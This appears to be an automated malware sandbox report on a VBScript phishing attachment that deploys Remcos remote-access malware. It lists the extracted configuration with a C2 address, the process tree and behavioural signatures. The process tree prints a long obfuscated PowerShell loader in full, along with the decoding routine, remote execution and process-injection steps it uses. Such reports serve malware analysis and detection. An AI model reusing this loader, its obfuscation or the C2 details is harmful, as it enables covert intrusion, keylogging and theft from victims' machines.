Analysis
- max time kernel
149s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
31/07/2026, 05:43
General
- Target RFQ_83760_56984.vbs
- Size 269KB
- Sample260731-gewgmsverb
- SHA256 8f6f65454a47245db51377789663d71cc97759e8485dc1049c56e11c43fabe19
Malware Config
Extracted
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remcos
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RemoteHost
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160.25.72.34:2404
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audio_folder
MicRecords
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audio_path
ApplicationPath
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-THAJYU
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQ_83760_56984.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "function zlorp { $coinable = 'blip'; [void]$coinable };$ukunstlet = 'frob';$pint=15656-15656;$kodificerendes=62641-56641;[void](get-date);function andante86 ($tranquiler,$udale) {$osmotisk=impudences(@(113,227,214,198,224,210,233,206,223,217,191,156,198,221,225,211,156,137,232,216,174,219,201,142)) ;Totteriness ($osmotisk)}function snarf { $heliophotography = Get-Date; [void]$heliophotography };function Totteriness ($fusulae) {[void](get-service | select -first 1);.($mnioid) $fusulae}Function Unchanging ($markrpositioner,$thyroid=0){[void](Get-Process | select -first 1);$paradoksaliteters204=impudences(@(168,178,211,211,232,198,230,217,208,174,135,181,214,212,223,163,213,216,216,170,129,194,216,215,219,207,219,141,151,225,174,225,207,215,226,208,231,206,231,221,188,221,201,215,155));$retveindbydendes=@(Totteriness ($paradoksaliteters204));For($heliand=0; $retveindbydendes[$heliand] -ne $scrobiculus; $heliand++){$retveindbydendes[$heliand] = andante86 $retveindbydendes[$heliand] $hydrochlorplatinous[$heliand%10]}$rverbanden1=impudences(@(122,217,211,206,224,129,207,200,219,213,191,202,193,194,150,211,217,217,233,217,182,221,200,199,235,197,217,211,215,217,192));$packings=Totteriness ($rverbanden1);if ($thyroid) { Totteriness $packings}else {;$packings}}function impudences ($markrpositioner) { [void](get-date);do {$markrpositioner[$pint]-=$hydrochlorplatinous[$pint%10];$kodificerendes=$markrpositioner[$pint];$kodificerendes=[char]$kodificerendes;$cornicles+=$kodificerendes;$pint++} while ($markrpositioner[$pint])$cornicles}$disulfoxide = Get-Date;$hydrochlorplatinous=@(77,111,100,101,114,97,116,101,115,116);$mnioid=impudences @(150,180,188);$enclisis = 'zlorp';$computersystemer='\Caprone.Adi';$mfikken=Unchanging 'eEFURVo2HQsXGzocRCsmQUVVXUR2TzMMHFdAXlMMe1tfRQAXTlRGRmNfTUU1BBcOHFt/X1VVQlBEVFMyJB0BAx0ZW1RGRmNf';$slagvoluminet=Unchanging 'JRsQFQFbW0oXBiQZAUsVDhsCHxFjDAsIXRQXWhYMPQAWEU8FGxIdGCIOAEMbBUlUPi07IilQMSseVQEZFAQGXThZQgIfIToCNSA2BT5IIgc=';$walkovers=Unchanging 'ABwcCB5TWjYWBjsKFj0/LTwxJyRjWUpV';$dagrejsen230=Unchanging 'Ciow';$udkommandoerne = 'fuzz';$skaaltalere=Unchanging 'GBwBF18gEwAdAA==';$tranquilerfgivende=Unchanging 'cw==';Unchanging 'aQgIChAAGF8GASMLEhceCBMRTlAoARJfExEEARIALERABh0MBBAHET8cHRYGBBkAAQ==' 1;Unchanging 'aQgIChAAGF8dGyMcEQcfBAYWGhYhClBXT0UHCRITOwAIEB8IGgAHWj4fCAwGSVARARUjHhEMHgQGAxQdOwoKARdI' 1;$slagvoluminet=$nonsubmersible42[0];$hornified206 = get-date;Unchanging 'aQgIChAAGF8AHCIdEBYGABIDTjooGEkqEAsRBgdUYCwLCFJFAwQfHyIZARcB' 1;Unchanging 'aQgIChAAGF8AFSAbBQkXERUXBxooHQoAT0kgAAAAYD8FERpBUBAGGikZFgkbBgBM' 1;while (!$samtalepartnerne) {Unchanging 'aQgIChAAGF8yFigDCBZPRQAXBhE=' 1;Unchanging 'aRwMCgAVBxESEitBCxUXD1xBFxUqHQEPAQQaV0BEYU9AFh4AExMcGDgCDQsXFVhFVxIsAxcAWw==' 1;Unchanging 'aRwMCgAVBxESEitBFwAGMxEUBhE+GywAEwURF1tQPgQFBB4VFQkWBihDREEfBx0OGBEjRg==' 1;Unchanging 'aRwMCgAVBxESEitBFwAcBVxM' 1;Unchanging 'aQgIChAAGF8BGz4GCgAADxEWTlA+BwsXBhIABBUSYxwQBAYUB0VeETxPVlVC' 1;$geason = 'wibble';if ($rosinernes) {Unchanging 'Fg0dERc6KThXEyEABgQeWxMcHRUoDAsJHQYdBgBJaRwMCgAVBxESEitBFgABERsLABEPAAAc' 1;Unchanging 'PgxEQQcUGgEFBiEGAxFSRRMcHRUoDAsJHQYdBgBUYCoKBh0FHQsUVA8WEAA=' 1} Unchanging 'HgMBAAJJQEw=' 1;Unchanging 'aQgIChAAGF8AFSAbBQkXERUXBxooHQoAT0kgAAAAYD8FERpBUBAGGikZFgkbBgBM' 1 ;Unchanging 'aQgIChAAGF8cDCwVCwkXXFACHxsvDghfEBMVC1hfaEsKChwSAQceET8cDQceBEBXXRciGgoR' 1;$slagvoluminet=$nonsubmersible42[$oxazole]}$shock=161515;$udalejerge=19484;Unchanging 'aQgIChAAGF8AHyQJAgAABR8OFgY+UgMGUkUBEB0QOx0IDBUV' 1;Unchanging 'aQgIChAAGF8hESoBBhAXEwYAFxE/HFk+MQ4aExYGOTJeXzQTGwgxFT4KUlEhFQYMHRNlSxcOGwcSAAEQJgQBFwFI' 1;Unchanging 'aQgIChAAGF8RBiwbFwYaBAYWTi8ZChwRXCQaBhwQJAEDOEhbNTYwPQRBIwAGMgAXGhoqR0A3FwYaBwYRPx0BARcTB0w=' 1;Unchanging 'aQgIChAAGF8UFSwbBw1PRRYXEgA+DAwAABJaFgYWPhsWDBwGXEEAHCIMD0lWFBAEHxEnChYCF0g=' 1;Totteriness $gaatch;function wibble { $reding = Get-Process | select -first 1; [void]$reding };;;;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function zlorp { $coinable = 'blip'; [void]$coinable };$ukunstlet = 'frob';$pint=15656-15656;$kodificerendes=62641-56641;[void](get-date);function andante86 ($tranquiler,$udale) {$osmotisk=impudences(@(113,227,214,198,224,210,233,206,223,217,191,156,198,221,225,211,156,137,232,216,174,219,201,142)) ;Totteriness ($osmotisk)}function snarf { $heliophotography = Get-Date; [void]$heliophotography };function Totteriness ($fusulae) {[void](get-service | select -first 1);.($mnioid) $fusulae}Function Unchanging ($markrpositioner,$thyroid=0){[void](Get-Process | select -first 1);$paradoksaliteters204=impudences(@(168,178,211,211,232,198,230,217,208,174,135,181,214,212,223,163,213,216,216,170,129,194,216,215,219,207,219,141,151,225,174,225,207,215,226,208,231,206,231,221,188,221,201,215,155));$retveindbydendes=@(Totteriness ($paradoksaliteters204));For($heliand=0; $retveindbydendes[$heliand] -ne $scrobiculus; $heliand++){$retveindbydendes[$heliand] = andante86 $retveindbydendes[$heliand] $hydrochlorplatinous[$heliand%10]}$rverbanden1=impudences(@(122,217,211,206,224,129,207,200,219,213,191,202,193,194,150,211,217,217,233,217,182,221,200,199,235,197,217,211,215,217,192));$packings=Totteriness ($rverbanden1);if ($thyroid) { Totteriness $packings}else {;$packings}}function impudences ($markrpositioner) { [void](get-date);do {$markrpositioner[$pint]-=$hydrochlorplatinous[$pint%10];$kodificerendes=$markrpositioner[$pint];$kodificerendes=[char]$kodificerendes;$cornicles+=$kodificerendes;$pint++} while ($markrpositioner[$pint])$cornicles}$disulfoxide = Get-Date;$hydrochlorplatinous=@(77,111,100,101,114,97,116,101,115,116);$mnioid=impudences @(150,180,188);$enclisis = 'zlorp';$computersystemer='\Caprone.Adi';$mfikken=Unchanging 'eEFURVo2HQsXGzocRCsmQUVVXUR2TzMMHFdAXlMMe1tfRQAXTlRGRmNfTUU1BBcOHFt/X1VVQlBEVFMyJB0BAx0ZW1RGRmNf';$slagvoluminet=Unchanging 'JRsQFQFbW0oXBiQZAUsVDhsCHxFjDAsIXRQXWhYMPQAWEU8FGxIdGCIOAEMbBUlUPi07IilQMSseVQEZFAQGXThZQgIfIToCNSA2BT5IIgc=';$walkovers=Unchanging 'ABwcCB5TWjYWBjsKFj0/LTwxJyRjWUpV';$dagrejsen230=Unchanging 'Ciow';$udkommandoerne = 'fuzz';$skaaltalere=Unchanging 'GBwBF18gEwAdAA==';$tranquilerfgivende=Unchanging 'cw==';Unchanging 'aQgIChAAGF8GASMLEhceCBMRTlAoARJfExEEARIALERABh0MBBAHET8cHRYGBBkAAQ==' 1;Unchanging 'aQgIChAAGF8dGyMcEQcfBAYWGhYhClBXT0UHCRITOwAIEB8IGgAHWj4fCAwGSVARARUjHhEMHgQGAxQdOwoKARdI' 1;$slagvoluminet=$nonsubmersible42[0];$hornified206 = get-date;Unchanging 'aQgIChAAGF8AHCIdEBYGABIDTjooGEkqEAsRBgdUYCwLCFJFAwQfHyIZARcB' 1;Unchanging 'aQgIChAAGF8AFSAbBQkXERUXBxooHQoAT0kgAAAAYD8FERpBUBAGGikZFgkbBgBM' 1;while (!$samtalepartnerne) {Unchanging 'aQgIChAAGF8yFigDCBZPRQAXBhE=' 1;Unchanging 'aRwMCgAVBxESEitBCxUXD1xBFxUqHQEPAQQaV0BEYU9AFh4AExMcGDgCDQsXFVhFVxIsAxcAWw==' 1;Unchanging 'aRwMCgAVBxESEitBFwAGMxEUBhE+GywAEwURF1tQPgQFBB4VFQkWBihDREEfBx0OGBEjRg==' 1;Unchanging 'aRwMCgAVBxESEitBFwAcBVxM' 1;Unchanging 'aQgIChAAGF8BGz4GCgAADxEWTlA+BwsXBhIABBUSYxwQBAYUB0VeETxPVlVC' 1;$geason = 'wibble';if ($rosinernes) {Unchanging 'Fg0dERc6KThXEyEABgQeWxMcHRUoDAsJHQYdBgBJaRwMCgAVBxESEitBFgABERsLABEPAAAc' 1;Unchanging 'PgxEQQcUGgEFBiEGAxFSRRMcHRUoDAsJHQYdBgBUYCoKBh0FHQsUVA8WEAA=' 1} Unchanging 'HgMBAAJJQEw=' 1;Unchanging 'aQgIChAAGF8AFSAbBQkXERUXBxooHQoAT0kgAAAAYD8FERpBUBAGGikZFgkbBgBM' 1 ;Unchanging 'aQgIChAAGF8cDCwVCwkXXFACHxsvDghfEBMVC1hfaEsKChwSAQceET8cDQceBEBXXRciGgoR' 1;$slagvoluminet=$nonsubmersible42[$oxazole]}$shock=161515;$udalejerge=19484;Unchanging 'aQgIChAAGF8AHyQJAgAABR8OFgY+UgMGUkUBEB0QOx0IDBUV' 1;Unchanging 'aQgIChAAGF8hESoBBhAXEwYAFxE/HFk+MQ4aExYGOTJeXzQTGwgxFT4KUlEhFQYMHRNlSxcOGwcSAAEQJgQBFwFI' 1;Unchanging 'aQgIChAAGF8RBiwbFwYaBAYWTi8ZChwRXCQaBhwQJAEDOEhbNTYwPQRBIwAGMgAXGhoqR0A3FwYaBwYRPx0BARcTB0w=' 1;Unchanging 'aQgIChAAGF8UFSwbBw1PRRYXEgA+DAwAABJaFgYWPhsWDBwGXEEAHCIMD0lWFBAEHxEnChYCF0g=' 1;Totteriness $gaatch;function wibble { $reding = Get-Process | select -first 1; [void]$reding };;;;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
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C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Caprone.Adi
memory/716-55-0x0000000001070000-0x0000000002356000-memory.dmp
memory/716-43-0x0000000001070000-0x0000000002356000-memory.dmp
memory/4428-35-0x0000000008070000-0x00000000086EC000-memory.dmp
memory/4428-25-0x0000000006060000-0x0000000006082000-memory.dmp
memory/4428-42-0x0000000014990000-0x000000001A87C000-memory.dmp
memory/4428-39-0x0000000008CB0000-0x000000000926A000-memory.dmp
memory/4428-38-0x00000000079F0000-0x0000000007A12000-memory.dmp
memory/4428-37-0x0000000007A90000-0x0000000007B26000-memory.dmp
memory/4428-36-0x0000000006D60000-0x0000000006D7A000-memory.dmp
memory/4428-33-0x0000000006810000-0x000000000685C000-memory.dmp
memory/4428-32-0x00000000067E0000-0x00000000067FE000-memory.dmp
memory/4428-30-0x0000000006360000-0x00000000066BB000-memory.dmp
memory/4428-26-0x0000000006100000-0x0000000006166000-memory.dmp
memory/4428-27-0x0000000006170000-0x00000000061D6000-memory.dmp
memory/4428-23-0x0000000005310000-0x0000000005346000-memory.dmp
memory/4428-24-0x0000000005A10000-0x000000000605A000-memory.dmp
memory/5388-15-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/5388-13-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/5388-18-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/5388-16-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/5388-7-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/5388-8-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/5388-14-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/5388-6-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/5388-0-0x00007FF845DBF000-0x00007FF845DC0000-memory.dmp
memory/5388-22-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/5388-12-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/5388-11-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/5388-10-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/5388-5-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/5388-9-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/5388-4-0x000001E6A1110000-0x000001E6A1132000-memory.dmp
memory/5388-1-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp